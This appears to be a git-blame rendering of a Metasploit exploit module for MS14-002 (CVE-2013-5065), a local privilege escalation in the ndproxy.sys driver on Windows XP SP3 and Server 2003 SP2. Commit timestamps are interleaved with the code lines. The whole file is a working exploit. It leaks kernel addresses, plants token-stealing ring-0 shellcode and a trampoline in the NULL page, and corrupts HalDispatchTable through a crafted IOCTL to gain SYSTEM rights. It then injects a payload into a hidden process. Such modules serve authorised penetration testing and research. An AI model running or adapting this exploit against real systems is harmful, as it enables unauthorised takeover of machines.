2013-12-11 08:52:35 -06:00
##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2013-12-11 08:52:35 -06:00
# Current source: https://github.com/rapid7/metasploit-framework
##
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf :: Exploit :: Local
2013-12-11 08:52:35 -06:00
Rank = AverageRanking
2014-08-04 11:28:00 -07:00
include Msf :: Exploit :: Local :: WindowsKernel
2013-12-12 08:26:44 -06:00
include Msf :: Post :: File
2013-12-11 08:52:35 -06:00
include Msf :: Post :: Windows :: Priv
include Msf :: Post :: Windows :: Process
2014-08-04 11:47:39 -07:00
def initialize ( info = { } )
2021-08-27 17:15:33 +01:00
super (
update_info (
info ,
2013-12-11 08:52:35 -06:00
{
2021-08-27 17:15:33 +01:00
'Name' = > 'MS14-002 Microsoft Windows ndproxy.sys Local Privilege Escalation' ,
'Description' = > %q{
This module exploits a flaw in the ndproxy.sys driver on Windows XP SP3 and Windows 2003
SP2 systems, exploited in the wild in November, 2013. The vulnerability exists while
processing an IO Control Code 0x8fff23c8 or 0x8fff23cc, where user provided input is used
to access an array unsafely, and the value is used to perform a call, leading to a NULL
pointer dereference which is exploitable on both Windows XP and Windows 2003 systems. This
module has been tested successfully on Windows XP SP3 and Windows 2003 SP2. In order to
work the service "Routing and Remote Access" must be running on the target system.
} ,
'License' = > MSF_LICENSE ,
'Author' = > [
'Unknown' , # Vulnerability discovery
'ryujin' , # python PoC
'Shahin Ramezany' , # C PoC
'juan vazquez' # MSF module
] ,
'Arch' = > ARCH_X86 ,
'Platform' = > 'win' ,
'Payload' = > {
'Space' = > 4096 ,
'DisableNops' = > true
} ,
'SessionTypes' = > [ 'meterpreter' ] ,
'DefaultOptions' = > {
'EXITFUNC' = > 'thread'
} ,
'Targets' = > [
[ 'Automatic' , { } ] ,
[
'Windows XP SP3' ,
{
'HaliQuerySystemInfo' = > 0x16bba , # Stable over Windows XP SP3 updates
'_KPROCESS' = > " \x44 " , # Offset to _KPROCESS from a _ETHREAD struct
'_TOKEN' = > " \xc8 " , # Offset to TOKEN from the _EPROCESS struct
'_UPID' = > " \x84 " , # Offset to UniqueProcessId FROM the _EPROCESS struct
'_APLINKS' = > " \x88 " # Offset to ActiveProcessLinks _EPROCESS struct
}
] ,
[
'Windows Server 2003 SP2' ,
{
'HaliQuerySystemInfo' = > 0x1fa1e ,
'_KPROCESS' = > " \x38 " ,
'_TOKEN' = > " \xd8 " ,
'_UPID' = > " \x94 " ,
'_APLINKS' = > " \x98 "
}
]
2013-12-11 08:52:35 -06:00
] ,
2021-08-27 17:15:33 +01:00
'References' = > [
2023-05-25 12:45:30 +10:00
%w[ CVE 2013-5065 ] ,
%w[ MSB MS14-002 ] ,
%w[ OSVDB 100368 ] ,
%w[ BID 63971 ] ,
%w[ EDB 30014 ] ,
%w[ URL http://labs.portcullis.co.uk/blog/cve-2013-5065-ndproxy-array-indexing-error-unpatched-vulnerability/ ] ,
%w[ URL http://technet.microsoft.com/en-us/security/advisory/2914486 ] ,
%w[ URL http://www.secniu.com/blog/?p=53 ] ,
%w[ URL http://www.fireeye.com/blog/technical/cyber-exploits/2013/11/ms-windows-local-privilege-escalation-zero-day-in-the-wild.html ] ,
%w[ URL http://blog.spiderlabs.com/2013/12/the-kernel-is-calling-a-zeroday-pointer-cve-2013-5065-ring-ring.html ]
2021-08-27 17:15:33 +01:00
] ,
'DisclosureDate' = > '2013-11-27' ,
2021-09-08 21:56:02 +01:00
'DefaultTarget' = > 0 ,
'Compat' = > {
'Meterpreter' = > {
'Commands' = > %w[
stdapi_railgun_api
stdapi_sys_config_getenv
stdapi_sys_process_attach
stdapi_sys_process_execute
stdapi_sys_process_memory_write
]
}
}
2021-08-27 17:15:33 +01:00
}
)
)
2013-12-11 08:52:35 -06:00
end
def ring0_shellcode ( t )
2021-08-27 17:15:33 +01:00
restore_ptrs = " \x31 \xc0 " # xor eax, eax
2014-08-15 21:11:37 +01:00
restore_ptrs << " \xb8 " + [ @addresses [ 'HaliQuerySystemInfo' ] ] . pack ( 'V' ) # mov eax, offset hal!HaliQuerySystemInformation
restore_ptrs << " \xa3 " + [ @addresses [ 'halDispatchTable' ] + 4 ] . pack ( 'V' ) # mov dword ptr [nt!HalDispatchTable+0x4], eax
2013-12-11 08:52:35 -06:00
2014-08-04 11:28:00 -07:00
ring0_shellcode = restore_ptrs + token_stealing_shellcode ( t )
2014-08-04 11:47:39 -07:00
ring0_shellcode
2013-12-11 08:52:35 -06:00
end
def fill_memory ( proc , address , length , content )
2014-08-15 21:11:37 +01:00
session . railgun . ntdll . NtAllocateVirtualMemory ( - 1 , [ address ] . pack ( 'V' ) , nil , [ length ] . pack ( 'V' ) , 'MEM_RESERVE|MEM_COMMIT|MEM_TOP_DOWN' , 'PAGE_EXECUTE_READWRITE' )
2013-12-11 16:28:09 -06:00
unless proc . memory . writable? ( address )
2014-08-04 11:47:39 -07:00
vprint_error ( 'Failed to allocate memory' )
2013-12-11 08:52:35 -06:00
return nil
end
2013-12-11 16:28:09 -06:00
vprint_good ( " #{ address } is now writable " )
2013-12-11 08:52:35 -06:00
result = proc . memory . write ( address , content )
if result . nil?
2014-08-04 11:47:39 -07:00
vprint_error ( 'Failed to write contents to memory' )
2013-12-11 08:52:35 -06:00
return nil
else
vprint_good ( " Contents successfully written to 0x #{ address . to_s ( 16 ) } " )
end
2014-08-04 11:47:39 -07:00
address
2013-12-11 08:52:35 -06:00
end
2013-12-12 08:26:44 -06:00
def create_proc
2013-12-19 11:43:59 +10:00
windir = session . sys . config . getenv ( 'windir' )
2013-12-12 08:26:44 -06:00
cmd = " #{ windir } \\ System32 \\ notepad.exe "
# run hidden
2013-12-16 16:19:17 -06:00
begin
2014-08-04 11:47:39 -07:00
proc = session . sys . process . execute ( cmd , nil , 'Hidden' = > true )
2013-12-16 16:19:17 -06:00
rescue Rex :: Post :: Meterpreter :: RequestError
# when running from the Adobe Reader sandbox:
# Exploit failed: Rex::Post::Meterpreter::RequestError stdapi_sys_process_execute: Operation failed: Access is denied.
return nil
end
2014-08-04 11:47:39 -07:00
proc . pid
2013-12-12 08:26:44 -06:00
end
2013-12-11 08:52:35 -06:00
def disclose_addresses ( t )
addresses = { }
2014-08-04 11:28:00 -07:00
hal_dispatch_table = find_haldispatchtable
return nil if hal_dispatch_table . nil?
2021-08-27 17:15:33 +01:00
2014-08-04 11:47:39 -07:00
addresses [ 'halDispatchTable' ] = hal_dispatch_table
vprint_good ( " HalDispatchTable found at 0x #{ addresses [ 'halDispatchTable' ] . to_s ( 16 ) } " )
2013-12-11 08:52:35 -06:00
2014-08-04 12:15:39 -07:00
vprint_status ( 'Getting the hal.dll base address...' )
2014-08-04 11:47:39 -07:00
hal_info = find_sys_base ( 'hal.dll' )
2013-12-11 08:52:35 -06:00
if hal_info . nil?
2014-08-04 12:15:39 -07:00
vprint_error ( 'Failed to disclose hal.dll base address' )
2013-12-11 08:52:35 -06:00
return nil
end
hal_base = hal_info [ 0 ]
2014-08-04 12:15:39 -07:00
vprint_good ( " hal.dll base address disclosed at 0x #{ hal_base . to_s ( 16 ) } " )
2013-12-11 08:52:35 -06:00
hali_query_system_information = hal_base + t [ 'HaliQuerySystemInfo' ]
2014-08-04 11:47:39 -07:00
addresses [ 'HaliQuerySystemInfo' ] = hali_query_system_information
2013-12-11 08:52:35 -06:00
2014-08-04 12:15:39 -07:00
vprint_good ( " HaliQuerySystemInfo address disclosed at 0x #{ addresses [ 'HaliQuerySystemInfo' ] . to_s ( 16 ) } " )
2014-08-04 11:47:39 -07:00
addresses
2013-12-11 08:52:35 -06:00
end
def check
2016-10-29 08:11:20 +10:00
if sysinfo [ 'Architecture' ] == ARCH_X64
2018-03-29 12:03:33 +00:00
vprint_error 'Running against 64-bit systems is not supported'
return CheckCode :: Safe
2013-12-11 08:52:35 -06:00
end
2014-08-04 11:47:39 -07:00
handle = open_device ( '\\\\.\\NDProxy' , 0x0 , 0x0 , 0x3 )
return Exploit :: CheckCode :: Safe if handle . nil?
2013-12-11 08:52:35 -06:00
session . railgun . kernel32 . CloseHandle ( handle )
2023-05-25 12:45:30 +10:00
version = get_version_info
if version . build_number == Msf :: WindowsVersion :: XP_SP3 ||
version . build_number == Msf :: WindowsVersion :: Server2003_SP2
2013-12-12 07:39:19 -06:00
return Exploit :: CheckCode :: Appears
2023-05-25 12:45:30 +10:00
elsif version . xp_or_2003?
2013-12-12 07:39:19 -06:00
return Exploit :: CheckCode :: Detected
else
return Exploit :: CheckCode :: Safe
end
2013-12-11 08:52:35 -06:00
end
def exploit
2016-10-29 08:11:20 +10:00
if sysinfo [ 'Architecture' ] == ARCH_X64
2014-08-04 11:47:39 -07:00
fail_with ( Failure :: NoTarget , 'Running against 64-bit systems is not supported' )
2013-12-11 08:52:35 -06:00
end
my_target = nil
if target . name =~ / Automatic /
2014-08-04 11:47:39 -07:00
print_status ( 'Detecting the target system...' )
2023-05-25 12:45:30 +10:00
version = get_version_info
if version . build_number == Msf :: WindowsVersion :: XP_SP3 ||
( my_target = targets [ 1 ] )
2013-12-11 08:52:35 -06:00
print_status ( " Running against #{ my_target . name } " )
2023-05-25 12:45:30 +10:00
elsif version . build_number == Msf :: WindowsVersion :: Server2003_SP2
2013-12-11 08:52:35 -06:00
my_target = targets [ 2 ]
print_status ( " Running against #{ my_target . name } " )
end
else
my_target = target
end
if my_target . nil?
2014-08-04 11:47:39 -07:00
fail_with ( Failure :: NoTarget , 'Remote system not detected as target, select the target manually' )
2013-12-11 08:52:35 -06:00
end
2014-08-04 11:47:39 -07:00
print_status ( 'Checking device...' )
handle = open_device ( '\\\\.\\NDProxy' , 0x0 , 0x0 , 0x3 )
2013-12-11 08:52:35 -06:00
if handle . nil?
2014-08-04 11:47:39 -07:00
fail_with ( Failure :: NoTarget , '\\\\.\\NDProxy device not found' )
2013-12-11 08:52:35 -06:00
else
2014-08-04 11:47:39 -07:00
print_good ( '\\\\.\\NDProxy found!' )
2013-12-11 08:52:35 -06:00
end
2014-08-04 11:47:39 -07:00
print_status ( 'Disclosing the HalDispatchTable and hal!HaliQuerySystemInfo addresses...' )
2013-12-11 08:52:35 -06:00
@addresses = disclose_addresses ( my_target )
if @addresses . nil?
session . railgun . kernel32 . CloseHandle ( handle )
2014-08-04 11:47:39 -07:00
fail_with ( Failure :: Unknown , 'Failed to disclose necessary addresses for exploitation, aborting.' )
2013-12-11 08:52:35 -06:00
else
2014-08-04 11:47:39 -07:00
print_good ( 'Addresses successfully disclosed.' )
2013-12-11 08:52:35 -06:00
end
2014-08-04 11:47:39 -07:00
print_status ( 'Storing the kernel stager in memory...' )
2013-12-11 08:52:35 -06:00
this_proc = session . sys . process . open
kernel_shell = ring0_shellcode ( my_target )
kernel_shell_address = 0x1000
result = fill_memory ( this_proc , kernel_shell_address , kernel_shell . length , kernel_shell )
if result . nil?
session . railgun . kernel32 . CloseHandle ( handle )
2014-08-04 11:47:39 -07:00
fail_with ( Failure :: Unknown , 'Error while storing the kernel stager shellcode on memory' )
2013-12-11 08:52:35 -06:00
else
print_good ( " Kernel stager successfully stored at 0x #{ kernel_shell_address . to_s ( 16 ) } " )
end
2014-08-04 11:47:39 -07:00
print_status ( 'Storing the trampoline to the kernel stager on memory...' )
2013-12-11 08:52:35 -06:00
trampoline = " \x90 " * 0x38 # nops
trampoline << " \x68 " # push opcode
2014-08-04 11:47:39 -07:00
trampoline << [ 0x1000 ] . pack ( 'V' ) # address to push
2013-12-11 08:52:35 -06:00
trampoline << " \xc3 " # ret
trampoline_addr = 0x1
result = fill_memory ( this_proc , trampoline_addr , trampoline . length , trampoline )
if result . nil?
session . railgun . kernel32 . CloseHandle ( handle )
2014-08-04 11:47:39 -07:00
fail_with ( Failure :: Unknown , 'Error while storing trampoline on memory' )
2013-12-11 08:52:35 -06:00
else
print_good ( " Trampoline successfully stored at 0x #{ trampoline_addr . to_s ( 16 ) } " )
end
2014-08-04 11:47:39 -07:00
print_status ( 'Storing the IO Control buffer on memory...' )
2013-12-11 08:52:35 -06:00
buffer = " \x00 " * 1024
2014-08-04 11:47:39 -07:00
buffer [ 20 , 4 ] = [ 0x7030125 ] . pack ( 'V' ) # In order to trigger the vulnerable call
buffer [ 28 , 4 ] = [ 0x34 ] . pack ( 'V' ) # In order to trigger the vulnerable call
2013-12-11 08:52:35 -06:00
buffer_addr = 0x0d0d0000
result = fill_memory ( this_proc , buffer_addr , buffer . length , buffer )
if result . nil?
session . railgun . kernel32 . CloseHandle ( handle )
2014-08-04 11:47:39 -07:00
fail_with ( Failure :: Unknown , 'Error while storing the IO Control buffer on memory' )
2013-12-11 08:52:35 -06:00
else
print_good ( " IO Control buffer successfully stored at 0x #{ buffer_addr . to_s ( 16 ) } " )
end
2014-08-04 11:47:39 -07:00
print_status ( 'Triggering the vulnerability, corrupting the HalDispatchTable...' )
2013-12-11 08:52:35 -06:00
magic_ioctl = 0x8fff23c8
# Values taken from the exploit in the wild, see references
2014-08-04 11:47:39 -07:00
session . railgun . ntdll . NtDeviceIoControlFile ( handle , 0 , 0 , 0 , 4 , magic_ioctl , buffer_addr , buffer . length , buffer_addr , 0x80 )
2013-12-11 08:52:35 -06:00
session . railgun . kernel32 . CloseHandle ( handle )
2014-08-04 11:47:39 -07:00
print_status ( 'Executing the Kernel Stager throw NtQueryIntervalProfile()...' )
session . railgun . ntdll . NtQueryIntervalProfile ( 1337 , 4 )
2013-12-11 08:52:35 -06:00
2014-08-04 11:47:39 -07:00
print_status ( 'Checking privileges after exploitation...' )
2013-12-11 08:52:35 -06:00
2013-12-11 16:28:09 -06:00
unless is_system?
2014-08-04 11:47:39 -07:00
fail_with ( Failure :: Unknown , 'The exploitation was not successful' )
2013-12-11 08:52:35 -06:00
end
2013-12-16 16:19:17 -06:00
p = payload . encoded
2014-08-04 11:47:39 -07:00
print_good ( 'Exploitation successful! Creating a new process and launching payload...' )
2013-12-12 08:26:44 -06:00
new_pid = create_proc
2013-12-16 16:19:17 -06:00
if new_pid . nil?
2014-08-04 11:47:39 -07:00
print_warning ( 'Unable to create a new process, maybe you are in a sandbox. If the current process has been elevated try to migrate before executing a new process...' )
2013-12-16 16:49:44 -06:00
return
2013-12-16 16:19:17 -06:00
end
2013-12-12 08:26:44 -06:00
2014-08-04 11:47:39 -07:00
print_status ( " Injecting #{ p . length } bytes into #{ new_pid } memory and executing it... " )
2013-12-16 16:49:44 -06:00
if execute_shellcode ( p , nil , new_pid )
2014-08-04 11:47:39 -07:00
print_good ( 'Enjoy' )
2013-12-11 08:52:35 -06:00
else
2014-08-04 11:47:39 -07:00
fail_with ( Failure :: Unknown , 'Error while executing the payload' )
2013-12-11 08:52:35 -06:00
end
end
end